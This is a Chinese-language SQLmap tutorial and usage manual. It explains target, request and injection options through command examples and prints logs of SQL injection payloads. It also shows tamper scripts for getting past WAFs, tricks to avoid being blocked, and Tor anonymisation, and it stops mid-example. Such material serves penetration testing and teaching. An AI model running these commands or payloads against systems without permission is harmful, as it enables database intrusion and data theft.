SQLmap 使用手册

SQLmap 使用手册以及一些我使用 SQLmap 的经验。

SQLmap 介绍

什么是 SQLmap

Sqlmap 是由 Python 写成的，开源的自动化 SQL 注入工具

特点

1. 完全支持 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB 和 Informix 等多种数据库管理系统。
2. 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
3. 在数据库证书、IP 地址、端口和数据库名等条件允许的情况下支持不通过 SQL 注入点而直接连接数据库。
4. 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
5. 支持自动识别密码哈希格式并通过字典破解密码哈希。
6. 支持完全地下载某个数据库中的某个表，也可以只下载某个表中的某几列，甚至只下载某一列中的部分数据，这完全取决于用户的选择。
7. 支持在数据库管理系统中搜索指定的数据库名、表名或列名
8. 当数据库管理系统是 MySQL、PostgreSQL 或 Microsoft SQL Server 时支持下载或上传文件。
9. 当数据库管理系统是 MySQL、PostgreSQL 或 Microsoft SQL Server 时支持执行任意命令并回现标准输出。

安装 Sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git

SQLmap 的各个阶段

准备阶段

输出

输出级别(Output verbosity)

参数：-v

Sqlmap 的输出信息按从简到繁共分为 7 个级别（和葫芦娃一样多），依次为 0、1、2、3、4、5 和 6。使用参数 -v <级别> 来指定某个等级，如使用参数 -v 6 来指定输出级别为 6。默认输出级别为 1。各个输出级别的描述如下：

0：只显示 Python 的 tracebacks 信息、错误信息[ERROR]和关键信息[CRITICAL]；
1：同时显示普通信息[INFO]和警告信息[WARNING]；
2：同时显示调试信息[DEBUG]；
3：同时显示注入使用的攻击荷载；
4：同时显示 HTTP 请求；
5：同时显示 HTTP 响应头；
6：同时显示 HTTP 响应体。

指定目标

Sqlmap 运行时必须指定至少一个目标，支持一次指定多个目标。有以下几种指定目标的方式：

直接连接数据库

参数：-d

使用参数 -d 直接连接数据库，该参数后跟一个表示数据库的字符串，该字符串有以下两种格式：

1. 当数据库管理系统是 MySQL、Oracle、Microsoft SQL Server 或 PostgreSQL 等时格式为：

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

2. 当数据库管理系统是 SQLite、Microsoft Access 或 Firebird 等时格式为：

DBMS://DATABASE_FILEPATH

注意：Sqlmap 连接 Mysql 使用的是 python-pymysql 库，需要安装

连上之后除了检测数据库后除了获取 Mysql 的版本号之外便什么都没有做。让 Sqlmap 做点什么需要用其他参数指定，这些参数后面会说。

指定目标 URL

参数：-u 或 --url

使用参数 -u 或 --url 指定一个 URL 作为目标，该参数后跟一个表示 URL 的字符串，可以是 http 协议也可以是 https 协议，还可以指定端口，如：

python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"

从 Burp 或 WebScarab 的代理日志中解析目标

参数：-l

使用参数 -l 指定一个 Burp 或 WebScarab 的代理日志文件，Sqlmap 将从日志文件中解析出可能的攻击目标，并逐个尝试进行注入。该参数后跟一个表示日志文件的路径。

WebScarab 我没有用过，Burp 倒是常常会用。Burp 默认不记录日志，想要记录日志需要手动开启，设置方法如下图所示：

设置方法

该日志文件不仅记录了 GET 参数，还记录了 cookie 和 POST 参数。现在使用如下命令让 Sqlmap 解析该日志文件，自动寻找目标，检测注入漏洞：

python sqlmap.py -l ../proxy.log

注意日志文件的路径要写正确。执行该命令时，每找到一个可能的攻击目标，Sqlmap 都会询问是否要检测该目标。，默认回答为Y，想要测试该目标，直接按回车键就行。

当日志较大时会有很多可能目标，虽然有询问机制但依旧麻烦，因为不能一路按回车而要进行判断。若是可以对日志进行过滤就好了！确实是可以的，参数为 --scope （后面会说

从站点地图文件中解析目标

参数：-x

为便于搜索引擎收录，许多网站专门为搜索引擎生成了 xml 格式的站点地图，如百度 Sitemap 支持 xml 格式。Sqlmap 可以直接解析 xml 格式的站点地图，从中提取攻击目标，对一个网站全方位无死角地进行注入检测，此时使用的参数是-x，如：

python sqlmap.py -x http://www.6eat.com/sitemap.xml

但执行该命令的结果却是：

[WARNING] no usable links found (with GET parameters)

没有找到有 GET 参数的可用链接。就我有限的经验而言，站点地图中的 URL 很少包含 GET 参数，POST 参数就更不用说了。所以 Sqlmap 的这一功能似乎有些鸡肋。

从文本文件中解析目标

参数：-m

参数 -u 一次只能指定一个 URL，若有多个 URL 需要测试就显得很不方便，我们可用将多个 URL 以一行一个的格式保存在文本文件中，然后使用参数 -m，后跟该文本文件路径，让 Sqlmap 依次读取文件中的 URL 作为攻击目标。

如我们有文件 url.txt，内容为：

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*123

然后可用使用如下命令让 Sqlmap 测试这些 URL 是否存在注入漏洞：

python sqlmap.py -m url.txt

同样,执行该命令时，Sqlmap 会很贴心地一个个询问：do you want to test this URL?

从文件载入 HTTP 请求

参数：-r

可以将一个 HTTP 请求保存在文件中，然后使用参数 -r 加载该文件，Sqlmap 会解析该文件，从该文件分析目标并进行测试。

设有如下所示的 HTTP 请求保存在文件 get.txt 中：

GET /user.php?id=1 HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1123456789

则使用如下命令让 Sqlmap 解析该文件，以该文件中 HTTP 请求目标为攻击目标进行测试：

python sqlmap.py -r get.txt

将 Google 搜索结果作为攻击目标

参数：-g

Sqlmap 能自动获取 Google 搜索的前一百个结果，对其中有 GET 参数的 URL 进行注入测试。当然，所处的网络环境要能访问 Google 才行。下面是 Sqlmap 手册中-g参数的例子：

python sqlmap.py -g "inurl:\".php?id=1\""

从配置文件中载入攻击目标

参数：-c

使用参数 -c 指定一个配置文件（如：sqlmap.conf），Sqlmap 会解析该配置文件，按照该配置文件的配置执行动作。配置文件中可以指定攻击目标，实际上除了攻击目标外，配置文件还可以指定各种参数的值。

Sqlmap 的安装目录中有一个名为 sqlmap.conf 的文件，该文件是配置文件的模板，看看该文件内容，就能明白配置文件是什么意思了。

发起请求阶段

请求

HTTP 是一个复杂的协议。HTTP 请求有很多种方法（method），可以在不同位置（GET、POST、cookie 和 User-Agent 等）携带不同参数。往往只有在特定位置携带了特定参数以特定方法发起的请求才是合法有效的请求。Sqlmap 运行时除了需要指定目标，有时还需要指定 HTTP 请求的一些细节。下面这些参数都用于指定 HTTP 请求细节。

相关参数说明：

HTTP 方法

参数：--method

一般来说，Sqlmap 能自动判断出是使用 GET 方法还是 POST 方法，但在某些情况下需要的可能是 PUT 等很少见的方法，此时就需要用参数 --method 来指定方法。如：--method=PUT

POST 数据

参数：--data

该参数指定的数据会被作为 POST 数据提交，Sqlmap 也会检测该参数指定数据是否存在注入漏洞。如：

python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"

指定分隔符

参数：--param-del

上一个例子中 --data 的数据 id=0&name=werner 其实由两个部分组成：id=0 和 name=werner，默认地以 & 作为分隔符。我们可以使用 --param-del 来指定分隔符，如：

python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"

cookie

参数：--cookie、--cookie-del、--drop-set-cookie 和 --load-cookies

有两种情况会用到这些参数：

1. 要测试的页面只有在登录状态下才能访问，登录状态用 cookie 识别
2. 想要检测是否存在 cookie 注入

当 --level 设置为 2 或更高时，Sqlmap 会检测 cookie 是否存在注入漏洞，关于 --level 的更多信息见下文。

1. --cookie 和 --cookie-del
   在浏览器中登录目标网站后复制出维持登录状态的 cookie，用参数--cookie来指定这些 cookie，如：
   

   python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"

   
   与 POST 参数不同，cookie 默认的分隔符为 ;，想要指定 cookie 中的分隔符，使用参数 --cookie-del。

2. --drop-set-cookie
   若 HTTP 响应头中有Set-Cookie，Sqlmap 会自动设置Set-Cookie设置的 cookie，并对这些 cookie 进行检测。
   若不想让 Sqlmap 这么做，添加参数--drop-set-cookie即可，这样，Sqlmap 会忽略Set-Cookie。

3. --load-cookies
   该参数用于从文件中载入 Netscape 或 wget 格式的 cookie。
   wget 可以保存和载入 cookie，示例如下：
   

   # Log in to the server.  This can be done only once.
   wget --save-cookies cookies.txt \
       --post-data 'user=foo&password=bar' \
       http://server.com/auth.php
       
   # Now grab the page or pages we care about.
   wget --load-cookies cookies.txt \
       -p http://server.com/interesting/article.php

User-Agent

参数：--user-agent 和--random-agent

默认情况下 Sqlmap 发送的 HTTP 请求中的 User-Agent 值为：

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

使用参数--user-agent可以指定一个 User-Agent 值。但正常的 User-Agent 值长什么样我们可能并不记得，所以有了参数--random-agent，使用该参数，Sqlmap 会从文件./txt/user-agents.txt 中随机地取一个 User-Agent。注意，在一次会话中只有使用同一个 User-Agent，并不是每发一个 HTTP 请求包，都随机一个 User-Agent。

用如下命令统计 user-agents.txt 行数：

cat sqlmap/txt/user-agents.txt | wc -l

结果为 4211，当然其中还包含空行、注释等，但总的来说该文件中存储的 User-Agent 也有 4 千多个。

当--level设置为 3 或更高时，Sqlmap 会检测 User-Agent 是否存在注入漏洞，关于--level的更多信息见下文。

Host

参数：--host

使用该参数可以手动指定 HTTP 头中的 Host 值。

当--level设置为 5 或更高时，Sqlmap 会检测 Host 是否存在注入漏洞，关于--level的更多信息见下文。

Referer

参数：--referer

使用该参数可以指定 HTTP 头中的 Referer 值。Sqlmap 发送的 HTTP 请求头部默认无 Referer 字段。

当--level设置为 3 或更高时，Sqlmap 会检测 Referer 是否存在注入漏洞，关于--level的更多信息见下文。

额外的 HTTP 头

参数：--headers

使用该参数可以在 Sqlmap 发送的 HTTP 请求报文头部添加字段，若添加多个字段，用n分隔。如命令：

python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"

发送的 HTTP 请求包为：

GET / HTTP/1.1
X-B: B
Host: 192.168.56.101:8080
Accept-encoding: gzip,deflate
X-A: A
Accept: */*
User-agent: sqlmap/1.1.10#stable (http://sqlmap.org)
Connection: close

加参数 -v 5 是为了让 Sqlamp 输出发送的 HTTP 请求包，便于我们观察。

HTTP 请求之间添加延迟

参数：--delay

过于频繁地发送请求可能会被网站察觉或有其他不良后果。使用参数--delay来指定 HTTP 请求之间的延迟，单位为秒，类型是浮点数，如--delay 1.5表示延迟 1.5 秒。默认是没有延迟的。

超时时间

参数：--timeout

超时时间默认为 30 秒，可以用参数--timeout指定超时时间，如--timeout 44.5表示设置超时时间为 44.5 秒。

超时后最大重试次数

参数：--retries

超时后 Sqlmap 会进行重试，最大重试次数默认为 3，可以用参数--retries指定最大重试次数。

避免错误请求过多而被屏蔽

参数：--safe-url、--safe-post、--safe-req 和--safe-freq

有时服务器检测到某个客户端错误请求过多会对其进行屏蔽，而 Sqlmap 的测试往往会产生大量错误请求，为避免被屏蔽，可以时不时的产生几个正常请求以迷惑服务器。有以下四个参数与这一机制有关：

• --safe-url: 隔一会就访问一下的安全 URL
• --safe-post: 访问安全 URL 时携带的 POST 数据
• --safe-req: 从文件中载入安全 HTTP 请求
• --safe-freq: 每次测试请求之后都会访问一下的安全 URL

这里所谓的安全 URL 是指访问会返回 200、没有任何报错的 URL。相应地，Sqlmap 也不会对安全 URL 进行任何注入测试。

关闭 URL 编码

参数：--skip-urlencode

Sqlmap 默认会对 URL 进行 URL 编码，可以使用该参数关闭 URL 编码。

绕过 CSRF 保护

参数：--csrf-token 和--csrf-url

现在有很多网站通过在表单中添加值为随机生成的 token 的隐藏字段来防止 CSRF 攻击，Sqlmap 会自动识别出这种保护方式并绕过。但自动识别有可能失效，此时就要用到这两个参数。

--csrf-token用于指定包含 token 的隐藏字段名，若这个字段名不是常见的防止 CSRF 攻击的字段名 Sqlmap 可能不能自动识别出，需要手动指定。如 Django 中该字段名为csrfmiddlewaretoken，明显与 CSRF 攻击有关。

--csrf-url用于从任意的 URL 中回收 token 值。若最初有漏洞的目标 URL 中没有包含 token 值而又要求在其他地址提取 token 值时该参数就很有用。

在每次请求前执行特定 Python 代码

参数：--eval

直接看例子

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

每次发送请求前，Sqlmap 都会依据 id 值重新计算 hash 值并更新 GET 请求中的 hash 值。

随机化参数值

参数：--randomize

使用该参数，Sqlmap 会随机生成每次 HTTP 请求中参数的值，值的类型和长度依照于原始值。

身份认证

参数：--auth-type 和--auth-cred

这些参数用于进行身份认证。--auth-type用于指定认证方式，支持以下三种身份认证方式：

Basic

Digest

NTLM

--auth-cred用于给出身份认证的凭证，格式是username:password。

如：

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

基于证书的身份认证

参数：--auth-file

若 Web 服务器要求客户端提供证书则可以使用此参数指定一个 PEM 格式的证书文件。我们知道 SSL 协议的客户端认证是可选的，实践中一般都只用服务器端提供自己的证书供客户端验证，很少要求客户端提供自己的证书。

忽略 401

参数：--ignore-401

使用该参数忽略 401 错误（未认证）。

HTTP(S)代理

参数：--proxy、--proxy-cred、--proxy-file 和--ignore-proxy

使用参数--proxy来设置一个 HTTP(S)代理，格式是http(s)://url:port。若代理需要认证，使用参数--proxy-cred来提供认证凭证，格式是username:password。

使用参数--proxy-file指定一个存储着代理列表的文件，Sqlmap 会依次使用文件中的代理，当某个代理有任何连接问题时就会被弃用而换下一个代理。

使用参数--ignore-proxy忽略本地代理设置。

Tor 匿名网络

参数：--tor、--tor-type、--tor-port 和--check-tor

不管出于什么原因，如果想要保持匿名状态与其使用单个的 HTTP(S)代理，不如安装类似 Privoxy 这样的软件按照Tor 的安装指导配置一个 Tor 客户端。设置好后使用参数--tor让 Sqlmap 自动设置使用 Tor 代理。

如果想要手动指定 Tor 的类型和端口可以使用参数--tor-type和--tor-port，如：

--tor-type=SOCKS5 --tor-port 9050

如果要求高度的匿名性可以使用参数--check-tor，加上该参数后 Sqlmap 会确保所有流量都走 Tor 代理，若 Tor 代理失效，Sqlmap 会发出警告并退出。检测方法是访问Are you using Tor?。

用正则表达式过滤代理日志

参数：--scope

指定一个 Python 正则表达式对代理日志进行过滤，只测试符合正则表达式的目标，如：

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

强制使用 SSL

参数：--force-ssl

优化

一键优化

参数：-o

添加此参数相当于同时添加下列三个优化参数：

• --keep-alive
• --null-connection
• --threads=3 （如果没有设置一个好的值）

这些参数具体含义见后文。

HTTP 长连接

参数：--keep-alive

该参数让 Sqlmap 使用 HTTP 长连接。该参数与--proxy矛盾。

HTTP 空连接

参数：--null-connection

有一种特殊的 HTTP 请求类型可以直接获得 HTTP 响应的大小而不用获得 HTTP 响应体。显然这在布尔型盲注中可以节约很大的带宽。当然这一技术是需要服务器端支持的。该参数与--text-only矛盾。

HTTP 并发

参数：--threads

使用该参数指定 Sqlmap 可以达到的最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过 10。

注入阶段

检测注入点

要测试的注入点

参数：-p 和--skip

默认情况下 Sqlmap 会测试所有 GET 参数和 POST 参数，当 level 大于等于 2 时会测试 cookie 参数，当 level 大于等于 3 时会测试 User-Agent 和 Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表，该列表中的参数不受 level 限制。这就是-p的作用。

举个例子，若想只测试 GET 参数id和 User-Agent，则可以这么写：

-p "id,user-agent"

如果不想测试某一参数则可以使用--skip。如设置了 level 为 5 但不想测试 User-Agent 和 Referer，则可以这么写：

--level=5 --skip="user-agent,referer"

有时会遇到伪静态网页。像动态网页会明目张胆地列出参数，如：

/user.php?id=1

显然参数是 id，值为 1。但若是伪静态网页则可能这样写：

/user/1/

将参数隐藏在 URL 中。通常情况下 Sqlmap 不会对这样的伪静态网页的参数做测试，因为 Sqlmap 无法判断哪个是参数。若想要对这样的伪静态进行测试，只需要加上*，告诉 Sqlmap 哪个是伪静态参数就行，剩下事的和 GET 参数没有什么区别。如：

python sqlmap.py -u "http(s)://target.cc/user/1*/"

指定数据库管理系统

参数：--dbms

dbms 是Database Management System的缩写。默认情况下 Sqlmap 会自动检测网站使用的数据库管理系统，Sqlmap 支持以下这些数据库管理系统：

• MySQL
• Oracle
• PostgreSQL
• Microsoft SQL Server
• Microsoft Access
• Firebird
• SQLite
• Sybase
• SAP MaxDB
• DB2

如果 Sqlmap 自动检测失败或是不想让 Sqlmap 进行数据库指纹检测，可以使用参数--dbms手动指定数据库管理系统，如：--dbms postgresql。

对于 Mysql 和 Microsoft SQL Server 和要这样指定：

--dbms MySQL <version>
--dbms Microsoft SQL Server <version>

对于 MySQL 来说，是类似这样的：5.0。对于 Microsoft SQL Server 来说，是类似这样的：2005。

如果在添加--dbms参数的同时还添加了--fingerprint，Sqlmap 只会在指定的数据库管理系统内进行指纹识别。

只有在很确定时使用--dbms，否则还是让 Sqlmap 自动检测更好些。

指定运行数据库管理系统的操作系统

参数：--os

默认情况下 Sqlmap 会自动检测运行数据库管理系统的操作系统，目前完全支持的操作系统有：

• Linux
• Windows

如果很确定可以使用参数--os指定运行数据库管理系统的操作系统。当然在只用很确定时才应该使用此参数，否则还是让 Sqlmap 自动检测更好些。

生成无效参数值时强制使用大数

参数：--invalid-bignum

有时在注入测试时需要生成无效参数，一般情况下 Sqlmap 会取已有参数（如：id=13）的相反数（如：id=-13）作为无效参数。但若添加--invalid-bignum，Sqlmap 就会取大数（如：id=99999999）作为无效参数。

生成无效参数值时强制使用逻辑操作符

参数：--invalid-logical

有时在注入测试时需要生成无效参数，一般情况下 Sqlmap 会取已有参数（如：id=13）的相反数（如：id=-13）作为无效参数。但若添加--invalid-logical，Sqlmap 就会使用逻辑操作符（如：id=13 AND 18=19）作为无效参数。

生成无效参数值时强制使用字符串

参数：--invalid-string

有时在注入测试时需要生成无效参数，一般情况下 Sqlmap 会取已有参数（如：id=13）的相反数（如：id=-13）作为无效参数。但若添加--invalid-logical，Sqlmap 就会使用字符串（如：id=akewmc）作为无效参数。

关闭 payload 转换

在检索结果时 Sqlmap 会将所有输入转换为字符串类型，若遇到空值（NULL）则将其替换为空白字符。
这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。
但是有报告显示在老版本的 Mysql 中这样做会导致数据检索出现问题，因此添加了--no-cast来告诉 Sqlmap 不要这样做。

关闭字符串编码

参数：--no-escape

有时 Sqlmap 会使用用单引号括起来的字符串值作为 payload，如SELECT ‘foobar’，默认地这些值会被编码，如上例将被编码为：
SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)) 这样做既可以混淆视听让人一时难以洞察 payload 的内容又可以在后台服务器使用类似 magic_quote 或 mysql_real_escape_string 这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码，如为了缩减 payload 长度，用户可以使用--no-escape来关闭字符串编码。

定制 payload

参数：--prefix 和--suffix

有时只有在 payload 后添加用户指定的后缀才能注入成功。另一种场景是用户已经知道查询语句怎么写的，此时可以直接指定 payload 的前缀和后缀来完成检测和注入。

一个有漏洞的源码示例如下：

query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";

对这样的例子可以让 Sqlmap 自动检测边界范围也可以手动指出边界范围：

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

最终 SQL 语句会变成：

SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1

这个句子语法是正确的，payload 也能执行。

在简单的测试环境下 Sqlmap 不需要被提供定制的边界范围就能够自动检测并完成注入，但在真实世界中某些应用可能会很复杂如嵌套 JOIN 查询，此时就需要为 Sqlmap 指明边界范围。

修改注入数据

参数：--tamper

除了用 CHAR() 编码字符串外 Sqlmap 没有对 payload 进行任何混淆。
该参数用于对 payload 进行混淆以绕过 IPS 或 WAF。
该参数后跟一个 tamper 脚本的名字。
若该 tamper 脚本位于 sqlmap 的安装目录的 tamper/目录中，就可以省略路径和后缀名，只写文件名。
多个 tamper 脚本之间用空格隔开。

在 tamper/目录中有许多可用的 tamper 脚本。tamper 脚本的作用是对 payload 进行混淆。
我们还可以自己写 tamper 脚本，这属于 Sqlmap 的高级用法，一个有效的 tamper 脚本如下所示：

# 必须要导入的库
from lib.core.enums import PRIORITY
# 定义该 tamper 脚本的优先级
__priority__ = PRIORITY.NORMAL
def tamper(payload):
    '''此处是 tamper 的说明'''
    retVal = payload
    # 此处是用于修改 payload 的代码
    # 返回修改后的 payload
    return retVal

下面是一个示例，该示例的目标是 Mysql，假定大于号、空格和开头的 SELECT 是被禁止的：

python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

该示例部分输出如下：

[12:55:52] [DEBUG] cleaning up configuration parameters
[12:55:52] [INFO] loading tamper script 'between'
[12:55:52] [INFO] loading tamper script 'randomcase'
[12:55:52] [INFO] loading tamper script 'space2comment'
[...]
[12:55:53] [INFO] testing for SQL injection on GET parameter 'id'
[12:55:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:55:53] [PAYLOAD] 1
[12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
[12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
[12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
[12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
[12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa
[12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[12:55:53] [PAYLOAD] 1')/**/anD/**/1694=6061/**/anD/**/('zLwu'='zLwu
[12:55:53] [PAYLOAD] 1')/**/ANd/**/4962=4962/**/ANd/**/('Dsfw'='Dsfw
[12:55:53] [PAYLOAD] 1'/**/aND/**/6307=8901/**/aND/**/'fKLn'='fKLn
[12:55:53] [PAYLOAD] 1'/**/aNd/**/4962=4962/**/aNd/**/'YFsp'='YFsp
[12:55:53] [PAYLOAD] 1%'/**/anD/**/3549=6854/**/anD/**/'%'='
[12:55:53] [PAYLOAD] 1%'/**/aND/**/4962=4962/**/aND/**/'%'='
[...]
[12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
[12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
[...]

而若不加 tamper 脚本，上例的部分输出为：

[...]
[13:00:12] [INFO] testing for SQL injection on GET parameter 'id'
[13:00:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
[13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
[13:00:12] [PAYLOAD] 1 AND 7140=6136
[13:00:12] [PAYLOAD] 1 AND 6711=6711
[13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
[13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
[13:00:12] [PAYLOAD] 1') AND 6904=7395 AND ('xBlu'='xBlu
[13:00:12] [PAYLOAD] 1') AND 6711=6711 AND ('RgoX'='RgoX
[13:00:12] [PAYLOAD] 1' AND 6469=7302 AND 'maCj'='maCj
[13:00:12] [PAYLOAD] 1' AND 6711=6711 AND 'pSYg'='pSYg
[13:00:12] [PAYLOAD] 1%' AND 7516=3605 AND '%'='
[13:00:12] [PAYLOAD] 1%' AND 6711=6711 AND '%'='
[...]
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]

检测级别

参数：--level

此参数用于指定检测级别，有 1~5 共 5 级。默认为 1，表示做最少的检测，相应的，5 级表示做最多的检测。
Sqlmap 使用的 payload 保存在目录 xml/payloads/中，是 xml 格式的，可以自己定制。节选一个 payload 如下所示：

<test>
    <title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
    <stype>1</stype>
    <level>2</level>
    <risk>1</risk>
    <clause>1</clause>
    <where>1</where>
    <vector>AND [INFERENCE]</vector>
    <request>
        <payload>AND [RANDNUM]=[RANDNUM]</payload>
        <comment>[GENERIC_SQL_COMMENT]</comment>
    </request>
    <response>
        <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
    </response>
</test>

在上例中可以看到有 level 标签，其值为 2，该 payload 在检测级别大于等于 2 时被使用。
risk 标签的含义见后文。

检测级别不仅会影响 payload 的使用，还会影响注入点的检测，GET 和 POST 参数是一直会被检测的，
检测级别大于等于 2 时会检测 cookie 是否有注入，检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入。

若不是很清楚注入点在哪里可以设置一个比较高的检测级别。

强烈建议在向 Sqlmap 官方报告一个明确存在的注入漏洞检测不出来前先把检测级别调高试试。

风险等级

参数：--risk

此参数用于指定风险等级，有 1~4 共 4 级。默认风险等级为 1，此等级在大多数情况下对测试目标无害。
风险等级 2 添加了基于时间的注入测试，等级 3 添加了 OR 测试。

若注入点是在 UPDATE 语句中，使用 OR 测试可能会修改整个表的数据，这显然不是攻击者想要看到的。
因此用户需要能控制风险等级避开有潜在风险的 payload。

页面对比

参数：--string、--not-string、--regexp

默认情况下在布尔型注入中 Sqlmap 通过比较返回页面内容来判断 True 或 False。
但有时页面每次刷新都会不同，如页面中有动态广告。Sqlmap 会尽力判断出页面中动态的部分来，但并不总能成功。
用户可以用参数--string指出代表 True 的页面会包含而代表 False 的页面不会包含的字符串以供 Sqlmap 判断 True 或 False，
若这样的字符串是变动的还可以用参数--regexp指定一个正则表达式去匹配这样的字符串。
或者用参数--not-string指出代表 False 的页面会包含而代表 True 的页面不会包含的字符串。

参数：--code

或者更简单地，若是用户知道代表 True 的页面 HTTP 状态码为 200 而代表 False 的页面 HTTP 状态码不为 200 比如是 401，
可以用--code参数告诉告诉 Sqlmap 这一信息，如--code=200。

参数：--titles

若是用户知道代表 True 的页面 title 和代表 False 的页面 title 不同，
如代表 True 的页面 title 为Welcome，代表 False 的页面 title 为Forbidden，
就可以使用参数--titles让 Sqlmap 依据 title 来判断 True 或 False。

参数：--text-only

若是 HTTP 响应体中有许多诸如 JavaScript 之类的活动内容，可以使用参数--text-only让 Sqlmap 只专注于纯文本内容。

检测时所用技术

参数：--technique

此参数用于指定检测注入时所用技术。默认情况下 Sqlmap 会使用自己支持的全部技术进行检测。
此参数后跟表示检测技术的大写字母，其值为 B、E、U、S、T 或 Q，含义如下：

• B：Boolean-based blind（布尔型注入）
• E：Error-based（报错型注入）
• U：Union query-based（可联合查询注入）
• S：Stacked queries（可多语句查询注入）
• T：Time-based blind（基于时间延迟注入）
• Q：Inline queries（嵌套查询注入）

可以用--technique ES来指定使用两种检测技术。--technique BEUSTQ与默认情况等效。

想要访问文件系统或是 Windows 的注册表就一定要添加S进行多语句查询注入测试。

注入

基于时间延迟注入中延时设置

参数：--time-sec

用此参数设置基于时间延迟注入中延时时长，默认为 5 秒。

联合查询注入中列数设置

参数：--union-cols

在进行联合查询注入时，Sqlmap 会自动检测列数，范围是 1 到 10。当 level 值较高时列数检测范围的上限会扩大到 50。

可以用此参数指定列数检测范围，如--union-cols 12-16就会让 Sqlmap 的列数检测范围变成 12 到 16。

联合查询注入中字符设置

参数：--union-char

默认情况下 Sqlmap 进行联合查询注入时使用空字符（NULL）。但当 level 值较高时 Sqlmap 会生成随机数用于联合查询注入。
因为有时使用空字符注入会失败而使用随机数会成功。

使用此参数可以指定联合查询注入中使用的字符，如：--union-char 123。

联合查询注入中使用的字符究竟是什么意思呢？请看下面两个例子：

第一个例子，不使用--union-char，默认情况下联合查询注入中使用的字符为空字符（NULL）：

python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3

部分输出为：

[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD

第一个例子，使用--union-char 123，指定联合查询注入中使用的字符为123：

python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123

部分输出为：

